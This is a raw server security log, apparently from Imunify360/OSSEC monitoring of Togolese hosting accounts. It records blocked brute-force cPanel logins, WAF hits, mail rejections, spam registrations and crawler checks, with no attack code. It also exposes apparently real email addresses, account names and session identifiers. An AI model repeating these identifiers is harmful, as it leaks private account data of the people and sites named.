country_id: 1880251
description:
47.128.122.106 - - [09/Jun/2026:08:11:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055782&pdata=https%253A%252F%252Ftogodailynews.tg%252Flogement-abordable-shelter-afrique-signe-un-protocole-daccord-avec-le-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992705 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/logement-abordable-shelter-afrique-signe-un-protocole-daccord-avec-le-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.106


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [09/Jun/2026:08:11:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10459548&pdata=https%253A%252F%252Fsproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992717 HTTP/2.0" 302 0 sproca.tg "https://sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.115
country_id: 1880251
description:
47.128.122.115 - - [09/Jun/2026:08:11:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12805737&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-marches-publics-larmp-renforce-les-capacites-des-jeunes-et-femmes-entrepreneurs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992681 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-marches-publics-larmp-renforce-les-capacites-des-jeunes-et-femmes-entrepreneurs/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.115


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.28.208.73
country_id: 3469034
description:
Jun  9 08:13:17 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.28.208.73 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 150.109.147.122
country_id: 1819730
description:
150.109.147.122 - - [09/Jun/2026:08:13:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12884169&pdata=https%253A%252F%252Ftogodailynews.tg%252Fauthor%252Ftogo%252Fpage%252F9%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992809 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/author/togo/page/9/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:150.109.147.122


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.42.122.66
country_id: 1527747
description:
2026-06-09 08:13:40 H=([212.42.122.66]) [212.42.122.66]:20311 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-09 08:14:05 +0000] info [webmaild] 196.171.46.177 - desire.ayivi@togointerim.net "POST /cpsess9638386889/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.170.62.78
country_id: 2363686
description:
[2026-06-09 08:15:04 +0000] info [cpaneld] 196.170.62.78 NEW qnlprotv:Tp81DvnkE8B8P_wV address=196.170.62.78,app=cpaneld,creator=qnlprotv,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.181.98.203
country_id: 1269750
domain: lepoint-actu.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lepoint-actu.tg/index.php/2024/11/13/civisme-fiscal-la-commune-du-golfe-1-clarifie-les-choses/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  9 08:15:18 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.117
country_id: 1880251
description:
47.128.122.117 - - [09/Jun/2026:08:16:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209173&pdata=http%253A%252F%252Ftogodailynews.tg%252Fla-cour-de-justice-de-la-cedeao-celebre-ses-20-ans-a-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780992999 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/la-cour-de-justice-de-la-cedeao-celebre-ses-20-ans-a-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.117


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-09 08:17:42 +0000] info [cpaneld] 154.70.80.74 NEW cloudetracks:c8kIttPSxNrII2ui address=154.70.80.74,app=cpaneld,creator=cloudetracks,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.40.31.154
country_id: 3865483
description:
Jun  9 08:17:46 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.40.31.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.126
country_id: 1512440
description:
2026-06-09 08:18:49 H=([213.230.93.126]) [213.230.93.126]:8122 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.20.98.28
country_id: 587116
description:
2026-06-09 08:18:50 H=([94.20.98.28]) [94.20.98.28]:21046 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.20.107.205
country_id: 1605651
description:
[2026-06-09 08:19:47 +0000] info [cpaneld] 1.20.107.205 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.82.233
country_id: 3469034
description:
Jun  9 08:19:10 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.82.233 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.132.113.40
country_id: 3865483
description:
[2026-06-09 08:19:37 +0000] info [cpaneld] 186.132.113.40 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.109.145.247
country_id: 2017370
description:
[2026-06-09 08:19:50 +0000] info [cpaneld] 91.109.145.247 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.159.208.172
country_id: 3996063
description:
[2026-06-09 08:19:40 +0000] info [cpaneld] 201.159.208.172 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.43.99.49
country_id: 6254930
description:
[2026-06-09 08:19:42 +0000] info [cpaneld] 46.43.99.49 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.244.52.113
country_id: 3625428
description:
[2026-06-09 08:19:31 +0000] info [cpaneld] 170.244.52.113 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.129.100.80
country_id: 3923057
description:
[2026-06-09 08:19:54 +0000] info [cpaneld] 190.129.100.80 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.74.181
country_id: 3895114
description:
[2026-06-09 08:19:56 +0000] info [cpaneld] 179.60.74.181 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.196.194.39
country_id: 2017370
description:
[2026-06-09 08:19:58 +0000] info [cpaneld] 109.196.194.39 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.197.13.182
country_id: 6252001
description:
[2026-06-09 08:19:33 +0000] info [cpaneld] 47.197.13.182 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.143.186.114
country_id: 3017382
domain: www.confortis.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET ?C=M;O=D HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.67.26.253
country_id: 3017382
domain: www.confortis.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET ?C=D;O=D HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.68.33
country_id: 3017382
domain: www.confortis.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET ?C=N;O=D HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.72.103
country_id: 3017382
domain: www.confortis.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET ?C=D;O=A HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 80.241.209.83
country_id: 3017382
domain: www.confortis.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET ?C=N;O=A HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 80.241.218.250
country_id: 3017382
domain: www.confortis.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET ?C=S;O=D HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.164
country_id: 1880251
description:
47.128.96.164 - - [09/Jun/2026:08:20:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856923&pdata=https%253A%252F%252Fcfpj.tg%252Fpresentation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780993209 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/presentation/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.164


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.151.123.203
country_id: 3017382
domain: www.confortis.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET ?C=M;O=A HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.199.55.185
country_id: 3017382
domain: www.confortis.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET ?C=S;O=A HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.63.206.96
country_id: 130758
description:
2026-06-09 08:21:33 H=([37.63.206.96]) [37.63.206.96]:54135 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.29.125
country_id: 2363686
description:
[2026-06-09 08:21:53 +0000] info [cpaneld] 196.171.29.125 NEW nwvfmxat:F_CtgiKdbxhSGtap address=196.171.29.125,app=cpaneld,creator=nwvfmxat,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.78
country_id: 1880251
description:
47.128.121.78 - - [09/Jun/2026:08:24:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869676&pdata=https%253A%252F%252Ftogodailynews.tg%252Fref-2021-le-cnp-togo-invite-par-le-medef%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780993441 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/ref-2021-le-cnp-togo-invite-par-le-medef/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.78


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.126
country_id: 1512440
description:
2026-06-09 08:25:08 H=([213.230.93.126]) [213.230.93.126]:44572 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.163
country_id: 3469034
description:
Jun  9 08:25:47 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.126
country_id: 1512440
description:
2026-06-09 08:26:16 H=([213.230.93.126]) [213.230.93.126]:8767 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-09 08:26:19 +0000] info [webmaild] 196.171.46.177 - gilbert.kakabiti@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.48
country_id: 2635167
description:
[2026-06-09 08:28:08 +0000] info [cpaneld] 5.230.153.48 NEW hnefmnqz:3tkeGPuDLqJU40Jk address=5.230.153.48,app=cpaneld,creator=hnefmnqz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-06-09 08:27:16 +0000] info [cpaneld] 165.22.212.32 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.218.161.60
country_id: 1220409
description:
2026-06-09 08:27:34 H=([91.218.161.60]) [91.218.161.60]:24834 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-09 08:28:19 +0000] info [webmaild] 196.171.46.177 - contact@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 183.182.115.61
country_id: 1655842
description:
2026-06-09 08:29:01 H=([202.137.142.73]) [183.182.115.61]:8846 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 08:29:22 ns5 pure-ftpd[567741]: (?@146.190.126.213) [INFO] New connection from 146.190.126.213


plugin: modsec
rule: 77316831
name: IM360 WAF: Suspicious WordPress plugin installation attempt
abuser: 102.211.168.154
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Suspicious WordPress plugin installation attempt||File:revslider.zip||WPU:admin||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 08:29:26 ns5 pure-ftpd[567741]: (?@146.190.126.213) [WARNING] Authentication failed for user [direct7]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.60.150.162
country_id: 1168579
description:
2026-06-09 08:29:48 H=([39.60.150.162]) [39.60.150.162]:59233 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.14.134
country_id: 1269750
description:
2026-06-09 08:31:03 dovecot_login authenticator failed for H=(nsg-static-241.106.76.182-airtel.com) [182.75.14.134]:58094: 535 Incorrect authentication data (set_id=admin@togosem.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:08-31.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 137.59.230.208
country_id: 1168579
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fd243729dd17ecdb448498eb0598c7b27c84e144||Title:yyxveh9cnpiz4b7dx||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Right Away Receive Your Prize vamvozmviigr.blogspot.kr GJ||Email:molonnjason@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [09/Jun/2026:08:31:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118808&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fapessito%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780993893 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/apessito/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.173
country_id: 1880251
description:
47.128.96.173 - - [09/Jun/2026:08:31:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050862&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmil%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780993900 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mil/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.173


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.121
country_id: 1880251
description:
47.128.96.121 - - [09/Jun/2026:08:32:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855012&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsucre-roux%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780993935 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/sucre-roux/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.121


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.124
country_id: 1880251
description:
47.128.96.124 - - [09/Jun/2026:08:32:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053997&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvaccin-astrazeneca%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780993947 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vaccin-astrazeneca/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.124


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.45
country_id: 6252001
description:
205.169.39.45 - - [09/Jun/2026:08:32:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185114&pdata=http%253A%252F%252Fujjhos.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780993964 HTTP/1.1" 302 0 ujjhos.mediatopnews.tg "http://ujjhos.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.45


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.29.126.244
country_id: 2017370
description:
2026-06-09 08:33:06 H=([94.29.126.244]) [94.29.126.244]:11568 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 137.59.230.208
country_id: 1168579
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:897c0639a0387b277407714734a189969b0cd9e9||Title:3x4gmd565n0riuub||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.31.176.186
country_id: 2464461
description:
[2026-06-09 08:34:06 +0000] info [cpaneld] 102.31.176.186 - cafetg "GET /execute/Fileman/list_files?dir=/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 137.59.230.208
country_id: 1168579
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:308064ffdcf40185c015e1131aee1c2545740aee||Title:f2p4oivtidu7t1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.164.89.229
country_id: 2017370
description:
[2026-06-09 08:35:48 +0000] info [cpaneld] 79.164.89.229 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.15.229.11
country_id: 2464461
description:
[2026-06-09 08:36:00 +0000] info [cpaneld] 197.15.229.11 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.142.131.100
country_id: 3686110
description:
[2026-06-09 08:36:02 +0000] info [cpaneld] 181.142.131.100 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.51.80.168
country_id: 1282988
description:
[2026-06-09 08:35:51 +0000] info [cpaneld] 202.51.80.168 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.215.107.164
country_id: 1512440
description:
[2026-06-09 08:35:54 +0000] info [cpaneld] 82.215.107.164 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.80.254.153
country_id: 1643084
description:
[2026-06-09 08:35:57 +0000] info [cpaneld] 36.80.254.153 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.108.68
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:163.198.108.68||TA:163.198.108.68||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.197
country_id: 1880251
description:
47.128.96.197 - - [09/Jun/2026:08:37:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10187114&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780994221 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.197


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 13.192.163.70
country_id: 1861060
description:
Jun  9 08:36:59 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 13.192.163.70 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.179.5.167
country_id: 2542007
description:
[2026-06-09 08:36:12 +0000] info [cpaneld] 160.179.5.167 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.192.163.70
country_id: 1861060
description:
2026-06-09 08:37:01 dovecot_plain authenticator failed for H=ec2-13-192-163-70.ap-northeast-1.compute.amazonaws.com (fq5ysv8uhu86ggpl) [13.192.163.70]:55302: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.218.161.60
country_id: 1220409
description:
